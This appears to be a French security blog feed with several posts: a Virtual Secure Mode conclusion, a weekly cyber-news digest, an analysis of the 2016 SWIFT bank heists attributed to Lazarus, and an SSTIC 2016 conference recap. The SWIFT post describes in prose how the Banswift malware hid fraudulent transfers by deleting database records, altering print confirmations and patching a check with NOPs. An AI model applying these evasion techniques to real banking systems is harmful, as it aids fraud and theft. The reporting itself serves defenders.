Virtual Secure Mode représente une base très intéressante pour la sécurité sur la virtualisation. Microsoft a choisi d’implémenter ces nouvelles fonctionnalités de sécurité sur cette architecture afin de protéger efficacement les machines Windows 10. À ce jour, aucune faille dans la conception et dans l’implémentation n’a été publiée. Microsoft cherche à limiter la surface d’attaque : petite taille de l’hyperviseur, ajout de la dimension VTL, etc. De plus, l’entreprise a favorisé la séparation des pouvoirs, des privilèges et des rôles, ce qui représente une bonne pratique.
De manière général, le SKM ne fait pas confiance au système normal, bien qu’il en dépende. Le secure kernel ne fait pas plus que demandé en laissant le système Windows normal se charger de la gestion des ressources, gestion mémoire, etc. En outre, il ne paraît pas possible d’attaquer le système avec des attaques classiques de type NOP sled : le code non signé chargé (HVCI doit donc d’abord être contourné) ne serait pas exécuté puisque le SKM, au travers du mapping EPT, ne marquerait pas les pages du code malveillant comme exécutables. De même, s’il est possible de charger de force en mémoire un trustlet malveillant et de le lancer, il ne pourrait pas avoir accès au SKM ou aux autres trustlets sains sans remplir tous les prérequis inhérents aux trustlets.
Néanmoins, Virtual Secure Mode possède quelques faiblesses qui nécessitent une attention particulière, comme sa dépendance à Secure Boot, celui-ci permettant d’être sûr que le Boot Loader tourne sur un firmware sûr. L’implémentation du Secure Boot dépend des fabricants et il n’est pas rare de trouver des bugs ou vulnérabilités dans le design. Autre cas, la sécurité basée sur la virtualisation peut être activée sans Secure Boot ! Ces deux situations pourraient mettre en péril la sécurité du système : un attaquant pourrait ainsi développer son propre hyperviseur. Une fois le VSM compromis, un attaquant pourrait injecter un malware en tant que trustlet et accéder au SKM pour atteindre les secrets isolés. De plus, SKM ne possède pas de liste en dur des identifiants de trustlets valides, ni même de leur empreinte. Il convient aussi de savoir que HVCI ne vérifie pas sa propre intégrité. Enfin, pour l’instant, la robustesse de RPC n’a pas été mise-à-mal publiquement, mais il est clair que les communications entre le monde normal et le monde sécurisé pourraient être des cibles d’attaques de choix.
À moins d’une vulnérabilité dans l’hyperviseur ou le matériel, les contraintes matérielles et logicielles adoptées semblent permettre de protéger le système, l’exécution de n’importe quel type de code non signé paraît ainsi difficile. Il est, par contre, nécessaire, pour une sécurité du plus haut niveau, d’être doté de tous les prérequis matériel et de les activer ; la présence de vulnérabilités ou l’absence d’au moins l’un d’eux peut devenir un vecteur d’attaque intéressant pour un attaquant.
Le prochain article portera sur Device Guard. À bientôt !

Sources :
Alex Ionescu (2015), Battle of SKM and IUM, BlackHat 2015
Baris Saydag, Seth Moore (2015), Defeating Pass-the-Hash, BlackHat 2015
Microsoft

Abderahmane HABAIEB 

CERT-Solucom : retour sur l'actualité de la semaine du 30 mai

$
0
0

Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Irongate, un malware dans la lignée de Stuxnet
Les chercheurs de FireEye ont découvert un nouveau malware sophistiqué visant spécifiquement les systèmes industriels. Nommé IRONGATE, il semble être conçu pour « tester » des fonctionnalités. Il s’agirait donc d’un « proof of concept » qui sera potentiellement réutilisé dans une future campagne d'attaque.
Source :
http://www.theregister.co.uk/2016/06/03/laboratory_ics_malware_masks_attack_with_replayed_normal_traffic/

[Brève] TeamViewer victime d’une brèche informatique ?
Ces dernières semaines de nombreuses personnes ont rapporté avoir été victime d’attaquants se connectant sur leur instance de TeamViewer pour accéder à leurs comptes bancaires ou PayPal. TeamViewer a nié tout piratage de son système informatique et incite ses utilisateurs à utiliser un mot de passe unique ainsi qu’à activer l’authentification à 2 facteurs.
Il est possible que ces compromissions soient liées aux fuites massives d’identifiants de ces dernières semaines (LinkedIn, Tumblr et MySpace).
Source :
https://nakedsecurity.sophos.com/2016/06/04/has-teamviewer-been-hacked-should-you-change-your-password/

[Brève] KeePass et les mises à jour en HTTP
Le coffre-fort de mots de passe subit de nombreuses critiques ces derniers jours pour sa gestion des mises à jour se basant sur le protocole HTTP. Un attaquant pourrait donc effectuer une attaque MITM pour installer un binaire malveillant en place de la mise à jour.
Source :
http://www.engadget.com/2016/06/04/keepass-wont-fix-security-hole-due-to-ads/

[Brève] Lenovo demande à ses clients de désinstaller un bloatware exploitable
Le logiciel “Lenovo Accelerator Application”, préinstallé sur certains ordinateurs de la marque chinoise pourrait permettre à un attaquant d'exécuter du code arbitraire à distance. Pour le moment la solution préconisée est la désinstallation de l’application.
Source :
http://www.scmagazineuk.com/lenovo-urges-customers-to-uninstall-dangerously-flawed-app-from-its-systems/article/500856/

[Brève] 100 millions d’identifiants du “Facebook Russe” mis en vente
La base de données contiendrait les noms, logins et numéros de téléphone de plus de 100 millions d’utilisateurs. Il n’est pas clair si des hashs de mots de passe sont présents.
Source :
http://www.theregister.co.uk/2016/06/06/100_million_russian_vk_credentials_for_sale/

[Brève] Capturer une clé RSA avec un simple micro
Sources :
https://it.slashdot.org/story/16/06/04/217222/rsa-keys-can-be-harvested-with-microphones http://m.cacm.acm.org/magazines/2016/6/202646-physical-key-extraction-attacks-on-pcs/fulltext

[Brève] 500 millions d’identifiants MySpace fuités
La longue série de fuites d’identifiants continue avec ce coup-ci plus de 360  millions de comptes uniques provenant du site MySpace. Le dump contiendrait les hashs non salés en SHA1 des mots de passe, permettant donc à des attaquants de retrouver sans trop de difficultés les mots de passe les plus usités.
Source :
https://nakedsecurity.sophos.com/2016/05/31/myspace-breach-could-be-the-biggest-ever-half-a-billion-passwords/


[Brève] Badblock, le ransomware qui chiffre vos fichiers système
Source :
https://www.helpnetsecurity.com/2016/06/06/destructive-badblock-ransomware-can-foiled/

[Brève] Les conversations sur l’application Messenger bientôt chiffrées?
Source :
https://nakedsecurity.sophos.com/2016/06/03/is-facebook-making-end-to-end-encryption-on-messenger-opt-in-only/

Xavier GERONDEAU

Retour sur l’affaire SWIFT : synthèse des faits !

$
0
0
Le réseau interbancaire SWIFT a fait beaucoup parler de lui ces dernières semaines. Il est effectivement au cœur d’une affaire cybercriminelle, certainement l’une des plus importantes depuis Anunak / Carbanak en 2015.
Que s’est-il passé exactement ? La sécurité de SWIFT est-elle remise en question ? Quels éléments expliqueraient un potentiel lien avec l’attaque Sony ? Quelles leçons en tirer ? Plusieurs questions auxquelles nous allons tenter de répondre.
Nous vous proposons ici de partager avec vous les résultats de nos efforts de consolidation et de recoupement des nombreuses informations obtenues sur l’affaire.
SWIFT en quelques mots
Créé en 1973, SWIFT pour Society for Worldwide Interbank Financial Telecommunication, est un réseau bancaire permettant la gestion de transactions financières entre plusieurs banques et ce, à l’échelle internationale.
C’est également le nom de l’entité qui est en charge de son fonctionnement ; cette organisation coopérative, basée à Bruxelles, est aujourd’hui détenue et contrôlée par plus de 3 000 représentants des plus importantes banques mondiales.
Le réseau SWIFT traite chaque jour plus de trente millions de transactions pour assurer les besoins de ses 11 000 utilisateurs.
Longtemps considéré comme le réseau de transaction financière le plus fiable au monde, SWIFT permet avant tout d’assurer la non-répudiation des échanges. Autrement dit, aucun tiers n’est censé pouvoir renier une transaction. Dans la pratique, nous verrons que cela dépend d’un certain nombre de prérequis sous la responsabilité des utilisateurs.
Retour sur la première affaire de la Bangladesh Bank
C’est au cours du mois de mars 2016 que l’on apprend par les médias que 81 millions de dollars provenant de la Bangladesh Bank ont disparu de la circulation.
Figure 1 : logo de la Bangladesh Bank
Retour sur le cheminement de cette fraude majeure :
  Le 15 mai 2015, quatre comptes bancaires sont ouverts au sein de la Rizal Commercial Banking Corporation (RCBC), située aux Philippines. Par la suite, on découvrira qu’ils ont été créés sous de fausses identités et deviendront la destination finale de l’argent avant de disparaître dans la nature.
  Les 4 et 5 février 2016, soit neuf mois plus tard, 35 transactions SWIFT (représentant 951 M$) sont exécutées à la demande de la Bangladesh Bankà destination de la RCBC. Au final :
  30 de ces transactions sont bloquées par « manque de précisions », représentant tout de même 850 M$ soit 90% de la requête initiale.
  Sur les 101 M$ restants, 20 sont également rejetés suite à une faute de frappe sur le nom du destinataire.
  81 M$ finissent tout de même par arriver sur les quatre comptes frauduleux de la RCBC.
  Le 9 février, des retraits massifs sont réalisés sur ces comptes et l’ensemble des 81 M$ se perdent dans les caisses de plusieurs casinos philippins.
Pourquoi donc des casinos philippins ? Dans une optique « d’aider le développement des jeux d’argent » dans le pays, le Gouvernement Philippin n’oblige pas les casinos à dénoncer les transactions jugées suspicieuses. Ils deviennent donc une cible parfaite pour de telles fraudes.Les derniers évènements ont entraîné d’importants débats aux Philippines et la situation pourrait évoluer rapidement.
De ce que l’on sait aujourd’hui, ces retraits massifs ont été acceptés malgré l’avis d’alerte reçu par la RCBC. La raison reste inconnue à ce jour. C’est bien là le point central des procédures en cours, qui s’annoncent longues, complexes et lourdes de conséquences.
  Le 15 février, c’est officiel, les 81 M$ perdus sont à l’origine d’une fraude bancaire majeure. Le Président de la Bangladesh Bank démissionne. Les médias s’emparent de l’affaire.
Figure 2 : synthèse du cheminement de la fraude SWIFT Bangladesh Bank
Que s’est-il passé ?
La piste d’une attaque cybercriminelle a été très vite étudiée. C’est plusieurs semaines après, au cours du mois d’avril, que les premières révélations des investigateurs sont tombées.
C’est effectivement une cyberattaque et ce n’est pas par l’originalité de son mode opératoire qu’elle est étonnante. En effet, quatre étapes classiques auraient été suivies :
1.Intrusion dans le SI de la banque.
2.Vol d’identifiants d’opérateurs SWIFT permettant la création, l’approbation et l’exécution de transactions bancaires.
3.Lancement des 35 ordres frauduleux.
4.Suppressions immédiates des traces générées par les attaquants.
Les trois premières étapes sont à date encore assez floues. Pour autant, certains experts parlent d’une intrusion physique et plus particulièrement liée à une clef USB branchée sur un poste opérateur. Jillian STICKELS, porte-parole du FBI, est allé un cran plus loin en déclarant qu’à ce stade, une complicité interne était suspectée.
Par ailleurs, FireEye aurait découvert non seulement que les attaquants étaient encore présents au moment de leurs investigations mais surtout que trois autres acteurs, a priori étatiques, seraient eux aussi en place dans le SI. Reuters, une agence de presse londonienne très investie dans l’affaire, a déclaré de source confidentielle que deux de ces trois acteurs pourraient être le Pakistan et la Corée du Nord. Ils expliqueraient notamment ces intrusions simultanées par un niveau de sécurité très faible du système d’information (absence de pare-feu, switchs très obsolètes, etc.).
Ces deux acteurs ont-ils un lien avec l’attaque ? Nous verrons par la suite que d’autres éléments suspects pourraient le confirmer. En revanche, rien n’est aujourd’hui certain. Nous connaissons tous d’ailleurs la difficulté pour déterminer la source réelle d’une attaque.
« 4 – Suppressions immédiates des traces générées »
C’est plutôt la dernière étape qui rend cette attaque impressionnante. Plusieurs études poussées ont été réalisées sur le malware intitulé Trojan.Banswift par Symantec. Ce dernier aurait justement été un élément clef de cette ultime étape.
Un puissant malware, une attaque furtive
Deux chercheurs de BAE Systems, une entreprise anglaise réputée dans le milieu de la sécurité de l’information, ont réussi à récupérer une majeure partie du présumé malware Trojan.Banswift.
Une étude poussée de rétro-ingénierie a été menée. Les résultats décrivent alors les trois fonctions principales de l’outil :
  Fonction 1 : superviser les exécutions de transactions légitimes et récupérer ainsi les plages horaires de connexion de l’opérateur SWIFT concerné.
À son lancement sur le poste de l’opérateur, le malware entre dans une boucle dans laquelle une requête régulière est lancée auprès de de la base de données d’Alliance Access (nom du logiciel permettant de se connecter au réseau SWIFT et de gérer les transactions). Cette requête permet de récupérer le contenu du journal d’évènements. Le malware parcourt ce journal afin d’identifier les actions relatives aux connexions de l’opérateur.
Figure 3 : requête SQL permettant de récupérer le contenu du journal d’évènements

Toutes les heures, le malware indique alors aux attaquants, par le biais du serveur C&C, si l’opérateur s’est connecté, déconnecté ou bien si aucun changement d’état n’a été relevé. Il en profite également pour envoyer des informations détaillées sur les transactions récemment exécutées permettant ainsi d’alimenter les attaquants en connaissances (optique d’apprentissage progressif).
  Fonction 2 : effacer les traces des transactions frauduleuses dans la base de données locale.
Dans l’un des fichiers de configuration utilisés par le malware, se trouvent les références des transactions frauduleuses émises par les attaquants (n.b. ces dernières ne sont pas exécutées par ce malware ; pour le moment, nous n’avons pas plus de détails sur cette partie).
Dès qu’une ou plusieurs références de transaction sont présentes dans le fichier, le malware requête la base afin d’identifier les clefs primaires des enregistrements associés. Il demande ensuite une suppression de toutes les informations qui y sont rattachées.
Figure 4 : requêtes SQL permettant d’effacer les traces des transactions dans la base
Par ailleurs, afin que les soldes des comptes concernés restent cohérents, le malware s’occupe d’aller mettre à jour les champs ad hoc de la base. Ces manipulations SQL permettent également aux attaquants de connaître systématiquement les soldes d’ouverture et de fermeture pour ne jamais initier une transaction d’un montant trop élevé. Ils limitent ainsi tout risque de lever une alerte.
  Fonction 3 : intercepter les confirmations de transaction et modifier leur contenu avant impression.
Au-delà de tracer l’ensemble détaillé des actions dans la base de données, Access Alliance Software s’occupe également d’imprimer une confirmation de chaque ordre réalisé. Pour rester furtif, les attaquants sont allés jusqu’au bout de leur logique.
Le malware intervient lors d’une étape intermédiaire à ce processus d‘impression. Le contenu des transactions est parcouru puis transformé en fichiers PRT temporaires (fichiers contenant du PCL, un langage interprétable par une imprimante et décrivant le texte à imprimer).
C’est à ce moment-là que le malware agit. Il intercepte le contenu PLC de ces fichiers, le parcourt puis supprime toutes les données relatives aux transactions frauduleuses. L’exécutable en charge de leur impression récupère le fichier « corrompu » et termine son travail. La confirmation « papier » falsifiée est alors imprimée et aucune alerte ne pourra être levée à court terme.
  Permettre l’accès systématique à la base de données SWIFT : il ne s’agit pas là d’une fonctionnalité en soi mais il est intéressant de comprendre la manière dont le malware s’octroie les droits d’accéder à la base de données Alliance Access et de manipuler les données.
À son lancement, le malware parcourt l’ensemble des processus en cours d’exécution sur le poste et identifie celui qui aurait chargé la bibliothèque « liboradb.dll ». On comprend alors que le malware cherche à mettre la main sur le processus qui permet d’initialiser et de gérer les connexions avec la base locale SWIFT.
Figure 5 : instructions assembleur avant la modification apportée par le malware
Une fois identifié, le malware s’occupe alors de « patcher » dynamiquement ce dernier en remplaçant deux octets précis par la valeur 0x90. En langage assembleur, cette valeur représente l’instruction NOP ayant pour simple rôle de ne rien faire ; l’instruction « passe son tour ». Autrement dit, quand le processeur arrivera à ce niveau du programme, au lieu d’exécuter l’action initialement prévue, ce dernier ne fera rien de spécifique pendant deux tours d’exécution successifs.
Figure 6 : instructions assembleur après la modification apportée par le malware
Le choix des octets écrasés est important. Le malware vise à supprimer la vérification d’un certain nombre de critères permettant au programme d’accepter ou non l’initialisation de la base. En supprimant cette vérification, le programme retourne alors systématiquement un avis favorable. Le malware peut ainsi continuer son chemin et accéder à la base en toute liberté.
Il ne fait aucun doute que ce malware est nécessairement le fruit d’un apprentissage approfondi du fonctionnement de SWIFT et des processus internes de la Bangladesh Bank. On le constate ici grâce à l’exhaustivité des moyens de camouflage (rien n’a été oublié ni négligé), à la précision des requêtes SQL prévues dans le malware (présence de mots clefs propres à la banque) mais surtout au moyen technique poussé prévu pour contourner les contrôles d’accès à la base.
Les attaquants sont très certainement présents depuis de nombreux mois dans le SI. En effet, cette nouvelle attaque met une fois de plus en lumière le principe de « l’attaquant qui prend le temps d’apprendre », tendance constatée dans les dernières cyberattaques majeures !
Malgré cette forte contextualisation, les chercheurs de BAE Systems sont d’accord pour dire qu’avec une telle philosophie, le code de Trojan.Banswift pourrait être réutilisé aisément dans d’autres attaques similaires. Ils précisent également qu’il ne serait qu’une partie d’un ensemble d’outils plus global ayant permis de mener la totalité de l’attaque.
Une deuxième affaire toujours plus pointue (puis une troisième, une quatrième, …)
C’est aux alentours de mi-mai que l’on apprend qu’une deuxième banque aurait été victime d’une attaque similaire à celle de la Bangladesh Bank.
SWIFT parle « d’une banque commerciale », BAE Systems parlent eux « d’une banque commerciale vietnamienne » tandis que TPBank, une banque justement originaire de Hanoi, déclare en toute indépendance avoir été victime d’une attaque sur leur système de transaction SWIFT. Tout porte donc à croire que ces informations se recoupent mais personne ne le souligne dans ce sens. Le doute qu’il s’agisse là d’un ou plusieurs cas différents subsiste encore. Dans la suite de cet article, nous admettrons qu’il s’agit bien de TPBank.
Le mode opératoire suivi dans cette nouvelle attaque a été très similaire à celui de la Bangladesh Bank. Cependant, SWIFT a précisé une spécificité non-négligeable : le malware aurait permis de remplacer le lecteur PDF utilisé par les opérateurs pour vérifier leurs transactions (un équivalent à la « confirmation papier » de la Bangladesh Bank). Ce nouveau lecteur PDF compromis permettait alors aux attaquants de camoufler à la volée leurs tentatives de transactions frauduleuses (toujours dans le but de ne lever aucune alerte sur le court terme).
Cette particularité, non des moindres, prouve à quel point les attaquants possèdent une haute maîtrise du contexte dans lequel ils agissent et une importante expertise technique.
Il est à noter que ce ne sont pas directement les systèmes de TPBank qui ont été visés pour initier l’attaque. Les attaquants sont passés par le biais d’un prestataire externe singapourien, qui fournissait du chauffage et de la climatisation l’infrastructure nécessaire pour se relier au réseau SWIFT.
Une tentative de fraude qui se termine tout de même bien pour TPBank. En effet, les mouvements suspicieux ont été détectés à temps et la tentative de détournement de 1,1 M$ n’a finalement pas abouti.
Fin mai, plusieurs autres cas similaires à Bangladesh Bank et TPBank ont été dévoilés. La banque équatoriale Banco Del Austro et une banque philippine dont on ignore encore le nom semblent effectivement à leur tour avoir été victimes. De plus, des références SWIFT d’au moins sept autres institutions financières (Japon, Corée du Sud, Chine, Australie, etc.) ont été découvertes dans le code du malware.
Comment la Corée du Nord est devenue le suspect n°1…
Grâce à leurs travaux de recoupement, les chercheurs de BAE Systems ont réussi à montrer que le même groupe d’attaquants était potentiellement à l’origine des différentes attaques SWIFT remontées (entre Bangladesh Bank et TPBank notamment).
Les chercheurs de Symantec, eux, se sont chargés de montrer qui pouvait être derrière ce fameux groupe. Après un travail conséquent de Threat Intelligence, ils ont pu déclarer que les attaquants pourraient avoir un très probable lien avec le groupe nord-coréen Lazarus.
Figure 7 : principales cibles du groupe Lazarus depuis 2009 (source : rapport Kaspersky)
Pour comprendre, commençons par revenir sur trois malwares majeurs que les équipes Symantec ont pointés du doigt :
  Backdoor.Destover : ce malware a été utilisé dans deux affaires majeures :
  L’attaque contre Sony Pictures Entertainment en 2014.
  Une violente campagne contre les USA et la Corée du Sud qui dure maintenant depuis 2010 (qui sera plus tard à l’origine du lancement de Blockbuster, une opération lancée pour combattre les auteurs de cette campagne).
Destover a justement été développé par le groupe d’attaquants Lazarus qui serait lui-même rattaché au régime de la Corée du Nord. Ces informations ont été annoncées par le FBI après leurs études approfondies de l’attaque Sony.
  Backdoor.Contopee : ce malware, accompagné de ses deux frères Backdoor.Fimlis et Backdoor.FimlisB, aurait été au centre d’une série d’attaques contre plusieurs entreprises financières d’Asie du Sud-Est ces deux dernières années.
  Trojan.Banswift : on ne le présente plus, ce malware est celui utilisé dans les différents cas d’attaques SWIFT présentés dans cet article.
En étudiant chacun de ces trois malwares, Symantec a alors découvert de nombreuses similitudes ; entre Destover & Contopee d’une part, puis entre Contopee & Banswift d’autre part. Ces similitudes sont liées à des morceaux de code permettant d’effacer de la donnée (wiping code). Ils illustreraient une technique d’effacement unique et peu commune. D’après les chercheurs, il serait donc très peu probable que plusieurs groupes distincts, développant chacun de leur côté, puissent tomber sur ce même code.
BAE Systems ont eux aussi trouvé d’autres similitudes entre ces trois malwares : des clefs de chiffrement, des noms de fonctions, des mutex, des erreurs courantes de typo ou encore des intitulés de structures & variables. Tous ces éléments sont laissés à la main du développeur ; ils sont pourtant majoritairement identiques d’un malware à l’autre.
Les travaux d’attribution sont toujours très complexes à mener et peuvent être discutés de nombreuses heures. Il n’en reste pas moins que ces similitudes sont un faisceau d’indice qui peut laisser croire que le groupe nord-coréen Lazarus aurait également développé les malwares Banswift et Contopee.
Comment réagir face à une telle menace sectorielle ?
Au-delà du respect des bonnes pratiques usuelles de sécurité des systèmes d’information, plusieurs actions peuvent être adressées :
  À très court terme, mettre en place la dernière mise à jour d’Alliance Access et suivre les remontées d’incidents de l’équipe support ; la mise à jour permet d’empêcher certaines actions du mode opératoire connu de l’attaque. De plus, les équipes SWIFT se sont engagées à remonter toutes les informations utiles provenant des investigations en cours et futures. Rendez-vous donc sur votre plateforme client !
La connaissance de ces remontées permettra notamment de lancer des recherches de présence d’IOC (indicateurs de compromission) sur vos systèmes. Nous en avons parlé plus en détail dans un autre article.
  À moyen terme, analyser votre attractivité aux yeux des cybercriminels afin de déterminer vos activités les plus exposées et risquées ; cela permettra de reprioriser vos actions sur les prochains mois.
  Réaliser des exercices de crise sur la base de scénarios de fraudes pour vous préparer à une situation similaire réelle et identifier dès maintenant les manques & axes d’amélioration.
  Enfin, faire un audit approfondi de vos systèmes anti-fraude afin d’évaluer leur efficacité, leur fragilité et de les adapter en fonction des dernières menaces connues. Ces systèmes, on le voit dans le cas de l’attaque SWIFT, peuvent effectivement être directement la cible des attaquants afin de les rendre inopérants.

Quatre affaires ont donc été officialisées jusqu’à aujourd’hui. Malheureusement, il y a de fortes chances qu’il ne s’agisse là que du début d’une conséquente campagne cybercriminelle visant le secteur financier mondial. Une chose est sûre : affaire à suivre … !

Baptistin BUCHET

Sources :

Compte-rendu du SSTIC 2016 - Jour 1

$
0
0

Du mercredi 1er au vendredi 3 Juin 2016 s’est tenu le Symposium sur la Sécurité des Technologies de l’Information et de la Communication (SSTIC), qui a rassemblé plus de 450 participants pour sa 14eédition.
Trois jours de conférences techniques se sont enchaînés, alternés d’un cocktail et du traditionnel « Social Event » en centre-ville de Rennes. Pas moins de 35 conférences ont été présentées par 59 orateurs, et 35 rumps (présentations très courtes de 3 minutes maximum) ont permis de détendre l’atmosphère jeudi après-midi. Le programme complet est disponible sur le site du SSTIC https://www.sstic.org/2016/programme/.

Voici le compte-rendu de la première journée.
Conférence d’ouverture
La conférence d’ouverture a été présentée par Brad Spengler, auteur du projet grsecurity. Pour rappel, grsecurity est un projet de durcissement du noyau Linux visant à améliorer sa sécurité et à le protéger d’un large éventail d’attaques. Brad a commencé par détailler les nombreuses améliorations qui ont récemment été apportées à grsecurity (support ARM, protection contre des exploits récents, blocage des périphériques USB qui n’étaient pas branchés au boot – désactivable à la demande), y compris dans PaX, le patch en charge de la gestion de la mémoire (le but étant d’empêcher les corruptions de mémoire, qui peuvent conduire à de l’exécution de code).
Ensuite, l’auteur a donné son point de vue sur l’écosystème de la sécurité de l’information dans son état actuel : les acteurs de la sécurité manquent de recul et de regard critique, et succombent parfois au sensationnalisme (ce qui n’est pas sans rappeler le kickstarter proposant un routeur Tor pour protéger ses communications qui avait rencontré un vif succès avant que plusieurs failles de sécurité ne soient révélées). Il y a selon lui trop de conférences, décevantes au niveau de la qualité des articles et des présentations, qui ne sont par ailleurs pas forcément le meilleur moyen d’effectuer des transferts de connaissance. Il y a également trop « d’experts » qui se plaignent de l’état de la sécurité sans rien créer ou publier.
Enfin, d’après Brad : “il y a de plus en plus de bugs, mais la sécurité s’améliore”. Les attaques à l’état de l’art deviennent plus difficiles à réaliser, tandis que beaucoup de menaces plus « anciennes » continuent de peser sur les utilisateurs, comme les macros Office.
La conclusion de cette conférence d’ouverture, qui fait écho à la conférence de clôture est la suivante : « Security will never be achieved through bug reduction ». La sécurité doit être prise en compte dès la phase de conception, au lieu de consister à réparer les différentes failles au fur et à mesure de leur découverte.

La journée s’est poursuivie avec plusieurs conférences :
Démarche d'analyse collaborative de codes malveillants
A. Chevalier, S. Le Berre, et T. Pourcelot (ANSSI / SOGETI) ont présenté un outil d’analyse collaborative de logiciels malveillants nommé Polichombr, publié sur le Github de l’ANSSI. Dans leurs travaux d’analyse et de rétro-ingénierie des logiciels malveillants, les auteurs ont été confrontés à la difficulté de traiter un grand volume de code de manière collaborative et ont décidé de créer Polichombr pour les assister. Cet outil permet notamment :

  • Une centralisation des informations et du stockage des fichiers ;
  • L’automatisation de tâches d’analyse (calcul des empreintes, découvertes des zones intéressantes dans le binaire…) ;
  • La classification automatique des logiciels malveillants à l’aide de l’algorithme maison « MACHOC », qui utilise des patterns dans le « graphe de flot de contrôle » (Control Flow Graphen anglais) invariants lors d’une recompilation ;
  • La synchronisation avec IDA pour récupérer le travail d’autres analystes (plugin Skelenox) ;
  • L’export de règles de détection Snort et d’IOC (Indicators of Compromission) OpenIOC.
Gunpack
Julien Lenoir (Airbus) a présenté un outil développé en interne permettant de développer facilement des scripts d’unpacking en Python, pour des binaires Windows 32 bits. Les techniques de « packing » consistent à compresser, voire chiffrer tout ou une partie d’un binaire original. Dans le cas d’un logiciel malveillant, la charge utile est donc dissimulée et peut échapper aux contrôles des antivirus. Gunpack, qui s’est inspiré du moteur d’unpacking MutantX-S, effectue une reconstitution dynamique du payload à l’exécution en instrumentant l’OS pour suivre l’exécution du packer, et en tirer les informations utiles à l’écriture d’un unpacker.
Cryptanalyse en boite noire de chiffrement propriétaire : étude de cas
Pierre Capillon (ANSSI), a présenté de manière didactique une analyse récemment effectuée sur un boîtier utilisant un algorithme de cryptographie propriétaire. L’accès physique au boîtier étant interdit, seules les attaques logiques ont pu être réalisées. Pendant 6 semaines, l’auteur a étudié les mises à jour du fimware disponibles publiquement pour comprendre le format de fichier utilisé, l’architecture de la puce, et a fini par trouver des vulnérabilités dans le firmware. De nombreuses techniques d’analyse, fructueuses ou non, ont été présentées, parmi lesquelles le calcul d’entropie du fichier à l’aide de binwalk (permet de savoir s’il s’agit d’un payload chiffré notamment), l’observation des modifications au niveau binaire entre des versions différentes du firmware, le fingerprinting de données binaires (formats de fichiers connus par exemple) et de structures habituelles de code… On retiendra notamment la capacité de l’auteur à identifier l’empreinte SHA256 de la chaîne vide dans un blob binaire, ou l’utilisation par le constructeur de l’algorithme ROT13 pour obfusquer des en-têtes ASCII. En conclusion, l’auteur souligne que la cryptographie propriétaire peut s’attaquer beaucoup plus facilement qu’on ne le croit.
Eurisko : développement d’une carte électronique sécurisée
7 agents de l’ANSSI sont ensuite venus présenter le projet Eurisko, prototype d’une carte électronique mettant en œuvre une chaîne de démarrage sécurisé intégrant un mécanisme d’authentification pré-boot. Eurisko a des objectifs fonctionnels et de sécurité et embarque notamment deux interfaces Gigabit ethernet sur une carte de 7x7cm à faible dissipation thermique (pas de ventilation), sur une base Linux grsecurity et une « base de code maîtrisée ». La chaîne de démarrage ne repose pas sur la sécurité de la BootROM (interne au System on Chip– abrégé SoC – puce centrale d’un circuit imprimé) mais sur un composant sécurisé dédié, certifié EAL 5+, contenant une mémoire flash protégée en confidentialité et en intégrité, ainsi que de sa propre source d’entropie et de fonctions d’accélération cryptographie matérielles. Notamment, l’intégrité et la sécurité des communications au sein même du circuit imprimé (notamment avec le SoC) sont vérifiées, pour qu’enfin le système d’exploitation soit déchiffré et exécuté depuis une carte microSD. La partie logicielle a également été durcie en respectant la norme C99, en interdisant l’allocation dynamique (prévention de la corruption de mémoire) et en gardant le code linéaire et synchrone (prévention des race conditions).
Évolution et dé-évolution des systèmes multimédia embarqués
F. Pollet (Thales) et N. Massaviol (Toucan System) ont présenté une étude anonymisée de la sécurité des systèmes embarqués dans les véhicules, basée sur leurs expériences avec des grands constructeurs français. Ils ont notamment pu constater les différences d’architecture des systèmes multimédias. Les résultats sont sans appel : backdoors présentes dans certains composants (souvent à l’insu du constructeur) livrés par des prestataires, interfaces de développement non désactivées, ou mires de login facilement accessible, les points d’entrée sont nombreux et relativement facilement accessibles. Il leur a ainsi été possible de récupérer le contenu du fichier /etc/passwd (ou /etc/shadow) pour « rooter » le véhicule, ou d’exploiter l’absence de signature des mises à jour pour flasher un firmware arbitraire. Les systèmes d’exploitation utilisés dans les exemples étudiés étaient soit Android 2.2 ou 4.0 – pour lesquels plusieurs vulnérabilités sont connues – soit Linux, utilisant parfois un compte root sans mot de passe.
L’exploitation de ces vulnérabilités permet le détournement des fonctionnalités légitimes (diffuser du son à fort volume ou désagréable pour déstabiliser le conducteur), l’accès à internet, et potentiellement le contrôle des composants connectés au bus CAN. Enfin, les évolutions à venir dans le domaine de l’automobile comme le contrôle à distance pour le covoiturage (ouverture par smartphone), le platooning(véhicules qui se suivent de manière automatique pour former des convois) ou l’apparition de véhicules complètement autonomes, vont présenter des risques encore plus importants et nécessitent une maîtrise des risques bien plus rigoureuse de la part des constructeurs.
USB Toolkit : USBIQUITOUS
Benoît Camredon (Airbus Group) a présenté une série d’outils open-source d’analyse USB, permettant d’interagir avec les composants connectés ou directement avec l’hôte. Parmi les nombreuses possibilités offertes, nous pouvons noter la présence d’un proxy USB intégrant un dissecteur de paquets, d’un « pare-feu USB » en mesure de bloquer les clés USB, d’un keylogger, d’un fuzzer, mais aussi d’un scanner permettant de connaître les drivers USB disponibles sur l’hôte. Un mode « keyboard » permet aussi de réaliser des attaques similaires au Rubber Ducky en émulant un clavier, et un mode « replay » permet de rejouer des trames USB, qu’il s’agisse d’un lance-missile USB ou d’une impression vers une imprimante.
Confusion de type en C++
Florian Saudel, d’AMOSSYS, a expliqué la problématique des confusions de type en C++, où des hypothèses non vérifiées sur le type des objets passés à une fonction permettent d’exécuter du code arbitraire. Ces attaques reposent sur une mauvaise utilisation du polymorphisme et la présence de « bad cast ».
Composants logiciels vérifiés en F* : Poly1305
Jean-Karim Zinzindohoué (INRIA, équipe Prosecco) a présenté un langage de programmation fonctionnelle moderne dédié à la vérification formelle : F*, ainsi que son utilisation dans l’implémentation d’une primitive de code d’authentification de messages (Message Authentication Codes, mieux connus sous l’abréviation MAC) : Poly1305. Pour rappel, la vérification formelle permet d’assurer par des preuves mathématiques certaines propriétés d’un programme, comme le fait qu’il ne peut pas crasher, ou la confidentialité des données. Ces travaux font notamment suite à la publication d’une implémentation formellement vérifiée de TLS : miTLS, également développée par l’équipe Prosecco de l’INRIA.
My friends botnet: How to use your friends to perform Cyber Int?
